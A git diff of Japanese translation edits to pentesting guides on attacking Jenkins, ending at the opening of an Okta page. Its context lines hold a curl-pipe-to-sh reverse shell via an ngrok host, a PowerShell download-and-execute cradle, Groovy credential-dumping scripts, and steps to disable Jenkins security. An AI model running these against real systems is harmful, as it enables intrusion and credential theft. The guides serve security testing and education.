+通常、JenkinsのSSH資格情報は**グローバルプロバイダー**（`/credentials/`）に見つかるので、他の秘密をダンプするのと同様にダンプすることもできます。詳細は[**秘密のダンプセクション**](./#dumping-secrets)を参照してください。
 
 ### **JenkinsにおけるRCE**
 
-**Jenkinsサーバーでシェルを取得する**ことは、攻撃者にすべての**秘密**や**環境変数**を漏洩させ、同じネットワーク内にある他のマシンを**悪用する**機会を与え、さらには**クラウド資格情報を収集する**ことができます。
+**Jenkinsサーバーでシェルを取得する**ことは、攻撃者にすべての**秘密**や**環境変数**を漏洩させ、同じネットワークにある他のマシンを**悪用**したり、さらには**クラウド資格情報を収集**する機会を与えます。
 
 デフォルトでは、Jenkinsは**SYSTEMとして実行されます**。したがって、これを侵害することで攻撃者は**SYSTEM権限**を得ることになります。
 
@@ -115,7 +115,7 @@ jenkins-rce-creating-modifying-project.md
 
 ### **Groovyスクリプトの実行によるRCE**
 
-新しいプロジェクトを作成するよりも、Groovyスクリプトを実行することでRCEを取得することもできます。これはよりステルス性が高いかもしれません:
+Groovyスクリプトを実行することでRCEを取得することも可能で、これは新しいプロジェクトを作成するよりもステルス性が高いかもしれません:
 
 {{#ref}}
 jenkins-rce-with-groovy-script.md
@@ -123,7 +123,7 @@ jenkins-rce-with-groovy-script.md
 
 ### パイプラインの作成/変更によるRCE
 
-**パイプラインを作成/変更することによってRCEを取得する**こともできます:
+**パイプラインを作成/変更することによってもRCEを取得できます**:
 
 {{#ref}}
 jenkins-rce-creating-modifying-pipeline.md
@@ -141,7 +141,7 @@ jenkins-rce-creating-modifying-pipeline.md
 
 他の場所（例えば他のリポジトリ）にパイプライン構成ファイルを**保存することも可能**で、リポジトリの**アクセス**とパイプラインのアクセスを**分離する**ことを目的としています。
 
-攻撃者がそのファイルに**書き込みアクセスを持っている場合**、彼はそれを**変更**し、Jenkinsにアクセスすることなく**パイプラインをトリガーする**ことができるでしょう。\
+攻撃者が**そのファイルに対して書き込みアクセスを持っている場合**、彼はそれを**変更**し、Jenkinsにアクセスすることなく**パイプラインをトリガーする**ことができるでしょう。\
 攻撃者は**いくつかのブランチ保護を回避する必要があるかもしれません**（プラットフォームやユーザー権限によっては回避できる場合もあります）。
 
 カスタムパイプラインを実行するための最も一般的なトリガーは次のとおりです:
@@ -151,7 +151,7 @@ jenkins-rce-creating-modifying-pipeline.md
 - **メインブランチの更新**を行い、何らかの方法で実行されるのを待つ
 
 > [!NOTE]
-> あなたが**外部ユーザー**である場合、**他のユーザー/組織のリポジトリのメインブランチにPRを作成し、パイプラインをトリガーする**ことを期待すべきではありません...しかし、**不適切に設定されている**場合、あなたはこの方法で企業を完全に**侵害する**ことができるかもしれません。
+> あなたが**外部ユーザー**である場合、**他のユーザー/組織のリポジトリのメインブランチにPRを作成し**、**パイプラインをトリガーする**ことを期待すべきではありません...しかし、**不適切に設定されている**場合、あなたはこの方法で企業を完全に**侵害する**ことができるかもしれません。
 
 ### パイプラインRCE
 
@@ -159,7 +159,7 @@ jenkins-rce-creating-modifying-pipeline.md
 
 ### 環境変数の確認
 
-**平文の環境変数**をパイプライン全体または特定のステージのために宣言することが可能です。これらの環境変数は**機密情報を含むべきではありません**が、攻撃者は常に**すべてのパイプライン**の構成/Jenkinsfileを**確認する**ことができます:
+**平文の環境変数**をパイプライン全体または特定のステージのために宣言することが可能です。これらの環境変数は**機密情報を含むべきではありません**が、攻撃者は常に**すべてのパイプライン**構成/Jenkinsfileを**確認する**ことができます:
 ```bash
 pipeline {
 agent {label 'built-in'}
@@ -184,11 +184,11 @@ basic-jenkins-information.md
 
 資格情報は**グローバルプロバイダー**（`/credentials/`）または**特定のプロジェクト**（`/job/<project-name>/configure`）に**スコープ**できます。したがって、すべての秘密を抽出するには、**秘密を含むすべてのプロジェクトを少なくとも侵害する**必要があり、カスタム/毒入りパイプラインを実行する必要があります。
 
-もう一つの問題は、パイプラインの**env内の秘密を取得するためには、**秘密の**名前とタイプを知っている必要がある**ことです。たとえば、**`usernamePassword`** **秘密**を**`string`** **秘密**として**ロード**しようとすると、この**エラー**が発生します：
+もう一つの問題は、パイプラインの**env内の秘密**を取得するには、**秘密の名前とタイプを知っている必要がある**ことです。たとえば、**`string`** **秘密**として**`usernamePassword`** **秘密**を**ロード**しようとすると、この**エラー**が発生します：
 ```
 ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
 ```
-ここでは、一般的な秘密の種類をロードする方法を示します：
+ここでは、一般的なシークレットタイプをロードする方法を示します：
 ```bash
 withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
 sh '''
@@ -216,7 +216,7 @@ env
 '''
 }
 ```
-このページの最後で、**すべての認証情報の種類**を**見つけることができます**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
+このページの最後に**すべての資格情報タイプ**を**見つけることができます**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
 
 > [!WARNING]
 > **すべての秘密を一度にダンプする**最良の方法は、**Jenkins**マシンを**侵害する**ことです（例えば、**組み込みノード**でリバースシェルを実行する）そして、**マスターキー**と**暗号化された秘密**を**漏洩**させ、それらをオフラインで復号化します。\
@@ -224,19 +224,19 @@ env
 
 ### トリガー
 
-[ドキュメント](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers)から: `triggers`ディレクティブは、**パイプラインが再トリガーされる自動化された方法**を定義します。GitHubやBitBucketなどのソースと統合されたパイプラインの場合、`triggers`は必要ないかもしれません。なぜなら、ウェブフックベースの統合がすでに存在する可能性が高いからです。現在利用可能なトリガーは、`cron`、`pollSCM`、および`upstream`です。
+[ドキュメントから](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers`ディレクティブは、**パイプラインが再トリガーされる自動化された方法**を定義します。GitHubやBitBucketなどのソースと統合されたパイプラインの場合、`triggers`は必要ないかもしれません。なぜなら、ウェブフックベースの統合がすでに存在する可能性が高いからです。現在利用可能なトリガーは`cron`、`pollSCM`、および`upstream`です。
 
 Cronの例:
 ```bash
 triggers { cron('H */4 * * 1-5') }
 ```
-他の例は**ドキュメント**で確認してください。
+他の例は**ドキュメントで確認してください**。
 
 ### ノードとエージェント
 
-**Jenkinsインスタンス**は**異なるマシンで異なるエージェントが実行されている**可能性があります。攻撃者の視点から見ると、異なるマシンへのアクセスは**異なる潜在的なクラウド資格情報**を盗むことや、**他のマシンを悪用するための異なるネットワークアクセス**を意味します。
+**Jenkinsインスタンス**は、**異なるマシンで異なるエージェントが実行されている**可能性があります。攻撃者の視点から見ると、異なるマシンへのアクセスは、**異なる潜在的なクラウド資格情報**を盗むことや、**他のマシンを悪用するための異なるネットワークアクセス**を意味します。
 
-詳細については基本情報を確認してください：
+詳細については、基本情報を確認してください：
 
 {{#ref}}
 basic-jenkins-information.md
@@ -255,7 +255,7 @@ agent {label 'built-in'}
 ```
 ### 完全な例
 
-特定のエージェントでのパイプライン、cronトリガー付き、パイプラインおよびステージ環境変数、ステップで2つの変数を読み込み、リバースシェルを送信する:
+特定のエージェント内のパイプライン、cronトリガーを使用し、パイプラインおよびステージ環境変数を持ち、ステップで2つの変数を読み込み、リバースシェルを送信します:
 ```bash
 pipeline {
 agent {label 'built-in'}
@@ -286,7 +286,7 @@ cleanWs()
 }
 }
 ```
-## 任意ファイル読み取りからRCE
+## 任意ファイル読み取りからRCEへ
 
 {{#ref}}
 jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -306,7 +306,7 @@ jenkins-rce-creating-modifying-project.md
 jenkins-rce-creating-modifying-pipeline.md
 {{#endref}}
 
-## ポストエクスプロイテーション
+## ポストエクスプロイト
 
 ### Metasploit
 ```
@@ -314,9 +314,9 @@ msf> post/multi/gather/jenkins_gather
 ```
 ### Jenkins Secrets
 
-`/credentials/` にアクセスすることで、十分な権限があればシークレットをリストできます。これは `credentials.xml` ファイル内のシークレットのみをリストしますが、**ビルド構成ファイル**にも **さらに多くの資格情報**が含まれている可能性があります。
+`/credentials/` にアクセスすることで、十分な権限があればシークレットをリストできます。これは `credentials.xml` ファイル内のシークレットのみをリストしますが、**ビルド構成ファイル**にも**追加の資格情報**が含まれている可能性があります。
 
-**各プロジェクトの構成を表示できる**場合、リポジトリにアクセスするために使用されている **資格情報（シークレット）の名前**や **プロジェクトの他の資格情報**もそこに表示されます。
+各プロジェクトの**構成を表示できる**場合、リポジトリにアクセスするために使用されている**資格情報（シークレット）の名前**や**プロジェクトの他の資格情報**も確認できます。
 
 ![](<../../images/image (180).png>)
 
@@ -328,12 +328,12 @@ jenkins-dumping-secrets-from-groovy.md
 
 #### From disk
 
-これらのファイルは **Jenkinsシークレットを復号化するために必要です**：
+これらのファイルは**Jenkinsシークレットを復号化するために必要**です：
 
 - secrets/master.key
 - secrets/hudson.util.Secret
 
-そのような **シークレットは通常次の場所にあります**：
+そのような**シークレットは通常**以下に見つかります：
 
 - credentials.xml
 - jobs/.../build.xml
@@ -351,7 +351,7 @@ credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOm
 ```
 #### Jenkinsの秘密をオフラインで復号化する
 
-**秘密を復号化するために必要なパスワードをダンプした場合**、[**このスクリプト**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **を使用してそれらの秘密を復号化します**。
+**秘密を復号化するために必要なパスワードをダンプした場合**、**これらの秘密を復号化するために** [**このスクリプト**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **を使用してください**。
 ```bash
 python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
 06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -363,13 +363,13 @@ NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
 ```bash
 println(hudson.util.Secret.decrypt("{...}"))
 ```
-### 新しい管理者ユーザーを作成する
+### 新しい管理者ユーザーの作成
 
 1. `/var/lib/jenkins/config.xml` または `C:\Program Files (x86)\Jenkis\` にある Jenkins config.xml ファイルにアクセスします。
 2. `<useSecurity>true</useSecurity>`という単語を検索し、**`true`**を**`false`**に変更します。
 1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
 3. **Jenkins** サーバーを**再起動**します: `service jenkins restart`
-4. もう一度 Jenkins ポータルに移動すると、**Jenkins は認証情報を要求しません**。**管理 Jenkins** に移動して、**管理者パスワードを再設定**します。
+4. もう一度 Jenkins ポータルに移動すると、**Jenkins はこの時に認証情報を要求しません**。**管理 Jenkins** に移動して、**管理者パスワードを再設定**します。
 5. 設定を `<useSecurity>true</useSecurity>` に変更して、**再度セキュリティを有効にし**、**Jenkins を再起動**します。
 
 ## 参考文献

src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md

@@ -1,44 +1,44 @@
-# Basic Jenkins Information
+# 基本的なJenkins情報
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Access
+## アクセス
 
-### Username + Password
+### ユーザー名 + パスワード
 
 Jenkinsにログインする最も一般的な方法は、ユーザー名またはパスワードです。
 
-### Cookie
+### クッキー
 
-**認可されたクッキーが盗まれた場合**、それを使用してユーザーのセッションにアクセスできます。クッキーは通常`JSESSIONID.*`と呼ばれます。（ユーザーはすべてのセッションを終了できますが、最初にクッキーが盗まれたことを知る必要があります）。
+**認可されたクッキーが盗まれた場合**、それを使用してユーザーのセッションにアクセスできます。クッキーは通常`JSESSIONID.*`と呼ばれます。（ユーザーはすべてのセッションを終了できますが、まずクッキーが盗まれたことを確認する必要があります）。
 
-### SSO/Plugins
+### SSO/プラグイン
 
 Jenkinsはプラグインを使用して**サードパーティのSSO経由でアクセス可能**に構成できます。
 
-### Tokens
+### トークン
 
 **ユーザーはトークンを生成して**、CLIまたはREST APIを介してアプリケーションに自分を偽装させることができます。
 
-### SSH Keys
+### SSHキー
 
-このコンポーネントはJenkins用の組み込みSSHサーバーを提供します。これは[Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)の代替インターフェースであり、任意のSSHクライアントを使用してこの方法でコマンドを呼び出すことができます。（[docs](https://plugins.jenkins.io/sshd/)から）
+このコンポーネントはJenkins用の組み込みSSHサーバーを提供します。これは[Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)の代替インターフェースであり、任意のSSHクライアントを使用してこの方法でコマンドを呼び出すことができます。（[ドキュメント](https://plugins.jenkins.io/sshd/)から）
 
-## Authorization
+## 認可
 
 `/configureSecurity`では、Jenkinsの**認可方法を構成**できます。いくつかのオプションがあります：
 
 - **誰でも何でもできる**：匿名アクセスでもサーバーを管理できます。
 - **レガシーモード**：Jenkins <1.164と同じです。**「admin」役割**を持っている場合、システムに対して**完全な制御**が与えられ、**それ以外**（**匿名**ユーザーを含む）は**読み取り**アクセスのみが与えられます。
 - **ログインしたユーザーは何でもできる**：このモードでは、すべての**ログインしたユーザーがJenkinsの完全な制御を得ます**。完全な制御を持たない唯一のユーザーは**匿名ユーザー**で、**読み取りアクセス**のみが与えられます。
-- **マトリックスベースのセキュリティ**：**誰が何をできるか**を表で構成できます。各**列**は**権限**を表し、各**行**は**ユーザーまたはグループ/役割**を表します。これには、**未認証ユーザー**を表す特別なユーザー「**anonymous**」や、**すべての認証済みユーザー**を表す「**authenticated**」が含まれます。
+- **マトリックスベースのセキュリティ**：**誰が何をできるか**を表で構成できます。各**列**は**権限**を表し、各**行**は**ユーザーまたはグループ/役割**を表します。これには、**認証されていないユーザー**を表す特別なユーザー「**anonymous**」や、**すべての認証されたユーザー**を表す「**authenticated**」が含まれます。
 
 ![](<../../images/image (149).png>)
 
 - **プロジェクトベースのマトリックス認可戦略**：このモードは、**各プロジェクトごとに追加のACLマトリックスを定義できる**「**マトリックスベースのセキュリティ**」の拡張です。
-- **役割ベースの戦略**：**役割ベースの戦略**を使用して認可を定義できます。`/role-strategy`で役割を管理します。
+- **役割ベースの戦略**：**役割ベースの戦略**を使用して認可を定義できます。役割は`/role-strategy`で管理します。
 
-## **Security Realm**
+## **セキュリティレルム**
 
 `/configureSecurity`では、**セキュリティレルムを構成**できます。デフォルトでは、Jenkinsはいくつかの異なるセキュリティレルムをサポートしています：
 
@@ -53,35 +53,35 @@ Jenkinsはプラグインを使用して**サードパーティのSSO経由で
 - [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
 - [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
 
-## Jenkins Nodes, Agents & Executors
+## Jenkinsノード、エージェント＆エグゼキュータ
 
-[docs](https://www.jenkins.io/doc/book/managing/nodes/)からの定義：
+[ドキュメント](https://www.jenkins.io/doc/book/managing/nodes/)からの定義：
 
-**ノード**は、ビルド**エージェントが実行される**マシンです。Jenkinsは、ディスクスペース、空き一時スペース、空きスワップ、時計の時間/同期、応答時間のために各接続ノードを監視します。これらの値のいずれかが構成された閾値を超えると、ノードはオフラインになります。
+**ノード**は、ビルド**エージェントが実行される**マシンです。Jenkinsは、ディスクスペース、空き一時スペース、空きスワップ、時計の時間/同期、応答時間のために各接続ノードを監視します。これらの値のいずれかが設定された閾値を超えると、ノードはオフラインになります。
 
 **エージェント**は、**エグゼキュータを使用して**Jenkinsコントローラーの代理として**タスク実行を管理**します。エージェントはJavaをサポートする任意のオペレーティングシステムを使用できます。ビルドやテストに必要なツールは、エージェントが実行されるノードにインストールされます。これらは**直接インストールするか、コンテナ**（DockerまたはKubernetes）内にインストールできます。各**エージェントは、ホストマシン上で独自のPIDを持つプロセスです**。
 
-**エグゼキュータ**は**タスクの実行スロット**です。実際には、**エージェント内のスレッド**です。ノード上の**エグゼキュータの数**は、そのノードで同時に実行できる**同時タスクの数**を定義します。言い換えれば、これはそのノードで同時に実行できる**同時Pipeline `stages`**の数を決定します。
+**エグゼキュータ**は**タスクの実行スロット**です。実際には、**エージェント内のスレッド**です。ノード上の**エグゼキュータの数**は、そのノードで同時に実行できる**同時タスクの数**を定義します。言い換えれば、これはそのノードで同時に実行できる**同時Pipeline `stages`の数**を決定します。
 
-## Jenkins Secrets
+## Jenkinsシークレット
 
-### Encryption of Secrets and Credentials
+### シークレットと資格情報の暗号化
 
-[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)からの定義：Jenkinsは**AESを使用して秘密情報**、資格情報、およびそれらの暗号化キーを保護します。これらの暗号化キーは、マスターキーと共に`$JENKINS_HOME/secrets/`に保存されます。このディレクトリは、Jenkinsコントローラーが実行されているオペレーティングシステムユーザーのみが読み取りおよび書き込みアクセスを持つように構成する必要があります（つまり、`chmod`値は`0700`または適切なファイル属性を使用）。**マスターキー**（暗号用語で「キー暗号化キー」と呼ばれることもあります）は、**Jenkinsコントローラーのファイルシステムに\_暗号化されていない\_**状態で保存されており、**`$JENKINS_HOME/secrets/master.key`**にあります。これは、そのファイルに直接アクセスできる攻撃者に対して保護されていません。ほとんどのユーザーと開発者は、一般的な秘密データを暗号化するための[Secret](https://javadoc.jenkins.io/byShortName/Secret) APIや資格情報APIを介して、これらの暗号化キーを間接的に使用します。暗号に興味がある方のために、JenkinsはAESを暗号ブロックチェーン（CBC）モードで使用し、PKCS#5パディングとランダムIVを使用して、`$JENKINS_HOME/secrets/`に保存される[CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey)のインスタンスを暗号化します。これらは`CryptoConfidentialKey` IDに対応するファイル名で保存されます。一般的なキーIDには以下が含まれます：
+[ドキュメント](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)からの定義：Jenkinsは**AESを使用してシークレット**、資格情報、およびそれらの暗号化キーを保護します。これらの暗号化キーは、マスターキーと共に`$JENKINS_HOME/secrets/`に保存されます。このディレクトリは、Jenkinsコントローラーが実行されているオペレーティングシステムユーザーのみが読み取りおよび書き込みアクセスを持つように構成する必要があります（つまり、`chmod`値は`0700`または適切なファイル属性を使用）。**マスターキー**（暗号用語で「キー暗号化キー」と呼ばれることもあります）は、**Jenkinsコントローラーのファイルシステムに\_暗号化されていない状態で\_保存されます**。**`$JENKINS_HOME/secrets/master.key`**に保存されており、直接そのファイルにアクセスできる攻撃者に対して保護されていません。ほとんどのユーザーと開発者は、一般的なシークレットデータを暗号化するための[Secret](https://javadoc.jenkins.io/byShortName/Secret) APIや資格情報APIを介して、これらの暗号化キーを間接的に使用します。暗号に興味がある方のために、JenkinsはAESを暗号ブロックチェーン（CBC）モードで使用し、PKCS#5パディングとランダムIVを使用して、`$JENKINS_HOME/secrets/`に保存される[CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey)のインスタンスを暗号化します。これらはその`CryptoConfidentialKey` IDに対応するファイル名で保存されます。一般的なキーIDには以下が含まれます：
 
-- `hudson.util.Secret`：一般的な秘密に使用されます；
-- `com.cloudbees.plugins.credentials.SecretBytes.KEY`：一部の資格情報タイプに使用されます；
-- `jenkins.model.Jenkins.crumbSalt`： [CSRF保護メカニズム](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)によって使用されます；
+- `hudson.util.Secret`：一般的なシークレットに使用されます。
+- `com.cloudbees.plugins.credentials.SecretBytes.KEY`：一部の資格情報タイプに使用されます。
+- `jenkins.model.Jenkins.crumbSalt`： [CSRF保護メカニズム](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)によって使用されます。
 
-### Credentials Access
+### 資格情報アクセス
 
-資格情報は、**グローバルプロバイダーにスコープを設定**（`/credentials/`）することができ、構成された任意のプロジェクトからアクセスできます。また、**特定のプロジェクト**（`/job/<project-name>/configure`）にスコープを設定することもでき、その場合は特定のプロジェクトからのみアクセス可能です。
+資格情報は、任意の構成されたプロジェクトからアクセスできる**グローバルプロバイダー**（`/credentials/`）に**スコープ**を設定できます。または、**特定のプロジェクト**（`/job/<project-name>/configure`）にスコープを設定し、そのため特定のプロジェクトからのみアクセス可能にできます。
 
-[**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)によると：スコープ内の資格情報は、制限なしにパイプラインに利用可能です。**ビルドログでの偶発的な露出を防ぐために**、資格情報は通常の出力から**マスク**されているため、`env`（Linux）や`set`（Windows）を呼び出したり、環境やパラメータを印刷するプログラムは、資格情報にアクセスできないユーザーに対してビルドログにそれらを**表示しません**。
+[**ドキュメント**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)によると：スコープ内の資格情報は、制限なくパイプラインに利用可能です。**ビルドログでの偶発的な露出を防ぐために**、資格情報は通常の出力から**マスク**されるため、`env`（Linux）や`set`（Windows）を呼び出したり、環境やパラメータを印刷するプログラムは、ビルドログで資格情報を**明らかにしません**。
 
-**そのため、資格情報を外部に持ち出すには、攻撃者は例えば、それらをbase64エンコードする必要があります。**
+**そのため、資格情報を外部に持ち出すには、攻撃者は例えばそれをbase64エンコードする必要があります。**
 
-## References
+## 参考文献
 
 - [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
 - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)

src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-このブログ記事では、Jenkinsのローカルファイルインクルージョン脆弱性をRCEに変換する素晴らしい方法を見つけることができます: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
+このブログ投稿では、Jenkinsのローカルファイルインクルージョン脆弱性をRCEに変換する素晴らしい方法を見つけることができます: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
 
 これは、任意のクッキーを作成することがRCEを取得するために悪用される投稿の部分のAIによって作成された要約です。自分自身の要約を作成する時間ができるまでの間です。
 
@@ -18,7 +18,7 @@
 
 **User Information Retrieval**
 
-- 各ユーザーのために`$JENKINS_HOME/users/*.xml`からユーザー設定と秘密を取得して収集します:
+- 各ユーザーのために`$JENKINS_HOME/users/*.xml`からユーザー設定と秘密を取得します:
 - **Username**
 - **User seed**
 - **Timestamp**

src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md

@@ -5,7 +5,7 @@
 > [!WARNING]
 > これらのスクリプトは `credentials.xml` ファイル内の秘密のみをリストしますが、**ビルド構成ファイル**にも**追加の資格情報**が含まれている可能性があります。
 
-`/script` の Groovy Script コンソールからすべての秘密を**ダンプ**するには、このコードを実行します。
+`/script` でこのコードを実行することで、**Groovy Script コンソールからすべての秘密をダンプ**できます。
 ```java
 // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
 import jenkins.model.*
@@ -41,7 +41,7 @@ showRow("something else", it.id, '', '', '')
 
 return
 ```
-#### またはこれ：
+#### またはこれ:
 ```java
 import java.nio.charset.StandardCharsets;
 def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(

src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md

@@ -1,14 +1,14 @@
-# Jenkins RCE Creating/Modifying Pipeline
+# Jenkins RCE パイプラインの作成/修正
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## 新しいパイプラインの作成
 
-「新しいアイテム」（`/view/all/newJob`でアクセス可能）で**パイプライン**を選択します:
+「New Item」（`/view/all/newJob`でアクセス可能）で**Pipeline**を選択します:
 
 ![](<../../images/image (235).png>)
 
-**パイプラインセクション**に**リバースシェル**を書きます:
+**Pipelineセクション**に**リバースシェル**を書きます:
 
 ![](<../../images/image (285).png>)
 ```groovy
@@ -26,7 +26,7 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
 }
 }
 ```
-最後に**Save**をクリックし、**Build Now**をクリックすると、パイプラインが実行されます：
+最後に**保存**をクリックし、**今すぐビルド**をクリックすると、パイプラインが実行されます：
 
 ![](<../../images/image (228).png>)
 

src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md

@@ -1,10 +1,10 @@
-# Jenkins RCE Creating/Modifying Project
+# Jenkins RCE プロジェクトの作成/変更
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## プロジェクトの作成
 
-この方法は非常に騒がしいです。なぜなら、まったく新しいプロジェクトを作成する必要があるからです（明らかに、ユーザーが新しいプロジェクトを作成することが許可されている場合にのみ機能します）。
+この方法は非常に騒がしいです。なぜなら、まったく新しいプロジェクトを作成する必要があるからです（明らかに、ユーザーが新しいプロジェクトを作成することを許可されている場合にのみ機能します）。
 
 1. **新しいプロジェクトを作成**（フリースタイルプロジェクト）するには、「新しいアイテム」をクリックするか、`/view/all/newJob`に移動します。
 2. **ビルド**セクション内で**シェルを実行**を設定し、PowerShell EmpireランチャーまたはMeterpreter PowerShellを貼り付けます（_unicorn_を使用して取得できます）。ペイロードを_PowerShell.exe_で開始し、_powershell_を使用しないでください。
@@ -16,11 +16,11 @@
 
 ## プロジェクトの変更
 
-プロジェクトに移動し、**構成できるかどうかを確認**します（「構成ボタン」を探してください）：
+プロジェクトに移動し、**構成できるかどうか**を確認します（「構成ボタン」を探してください）：
 
 ![](<../../images/image (265).png>)
 
-**構成** **ボタン**が見えない場合、あなたはおそらくそれを**構成できません**（ただし、すべてのプロジェクトを確認してください。いくつかのプロジェクトは構成できるかもしれません）。
+**構成** **ボタン**が見えない場合、恐らく**構成**できません（ただし、すべてのプロジェクトを確認してください。いくつかのプロジェクトは構成できるかもしれません）。
 
 または、各プロジェクトで**パスにアクセスを試みて**ください`/job/<proj-name>/configure`または`/me/my-views/view/all/job/<proj-name>/configure`（例：`/job/Project0/configure`または`/me/my-views/view/all/job/Project0/configure`）。
 

src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md

@@ -7,7 +7,7 @@
 これはJenkinsで新しいプロジェクトを作成するよりも騒がしくありません。
 
 1. _path_jenkins/script_に移動します。
-2. テキストボックス内にスクリプトを入力します。
+2. テキストボックスにスクリプトを入力します。
 ```python
 def process = "PowerShell.exe <WHATEVER>".execute()
 println "Found text ${process.text}"
@@ -16,9 +16,9 @@ println "Found text ${process.text}"
 
 **linux** では、次のようにできます: **`"ls /".execute().text`**
 
-テキスト内で _引用符_ と _シングルクォート_ を使用する必要がある場合は、_"""PAYLOAD"""_ (トリプルダブルクォート) を使用してペイロードを実行できます。
+テキスト内で _quotes_ と _single quotes_ を使用する必要がある場合は、_"""PAYLOAD"""_ (トリプルダブルクォート) を使用してペイロードを実行できます。
 
-**別の便利なgroovyスクリプト** は ( \[INSERT COMMAND] を置き換えてください):
+**別の便利なgroovyスクリプト** は ( \[INSERT COMMAND] を置き換えます):
 ```python
 def sout = new StringBuffer(), serr = new StringBuffer()
 def proc = '[INSERT COMMAND]'.execute()
@@ -36,7 +36,7 @@ println "out> $sout err> $serr"
 ```
 ### Windowsでのリバースシェル
 
-PSリバースシェルを用意したHTTPサーバーを作成し、Jenkinsを使用してそれをダウンロードして実行できます:
+PSリバースシェルを使用してHTTPサーバーを準備し、Jekingを使用してそれをダウンロードして実行できます:
 ```python
 scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
 echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
@@ -44,7 +44,7 @@ cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
 ```
 ### スクリプト
 
-このプロセスを[**このスクリプト**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py)で自動化できます。
+このプロセスは[**このスクリプト**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py)を使って自動化できます。
 
 MSFを使用してリバースシェルを取得できます:
 ```

src/pentesting-ci-cd/okta-security/README.md

@@ -8,7 +8,7 @@
 
 Oktaの主力製品は**Okta Identity Cloud**です。このプラットフォームは、以下を含む製品群を網羅していますが、これに限定されません：
 
-- **シングルサインオン (SSO)**: 複数のアプリケーションで1セットのログイン資格情報を使用することで、ユーザーアクセスを簡素化します。
+- **シングルサインオン (SSO)**: 複数のアプリケーションで1セットのログイン資格情報を使用してユーザーアクセスを簡素化します。
 - **多要素認証 (MFA)**: 複数の確認手段を要求することでセキュリティを強化します。
 - **ライフサイクル管理**: ユーザーアカウントの作成、更新、無効化プロセスを自動化します。
 - **ユニバーサルディレクトリ**: ユーザー、グループ、デバイスの集中管理を可能にします。
@@ -20,15 +20,15 @@ Oktaの主力製品は**Okta Identity Cloud**です。このプラットフォ
 > Oktaの主な目的は、外部アプリケーションへの異なるユーザーおよびグループへのアクセスを構成することです。もしあなたが**Okta環境で管理者権限を侵害することができれば、会社が使用している他のすべてのプラットフォームを**侵害することが非常に可能性が高いです。
 
 > [!TIP]
-> Okta環境のセキュリティレビューを実施するには、**管理者の読み取り専用アクセス**を要求する必要があります。
+> Okta環境のセキュリティレビューを実施するには、**管理者の読み取り専用アクセス**を要求するべきです。
 
 ### 概要
 
 **ユーザー**（これは**Oktaに保存される**、構成された**アイデンティティプロバイダー**からログインする、または**Active Directory**やLDAPを介して認証されることができます）。\
 これらのユーザーは**グループ**内に存在することがあります。\
-また、**認証者**も存在します：パスワードやWebAuthn、メール、電話、Okta Verifyなどのさまざまな2FAの認証オプション（これらは有効または無効にすることができます）...
+また、**認証者**も存在します：パスワードやWebAuthn、メール、電話、Okta Verifyなどのさまざまな2FAのオプション（有効または無効にできる）...
 
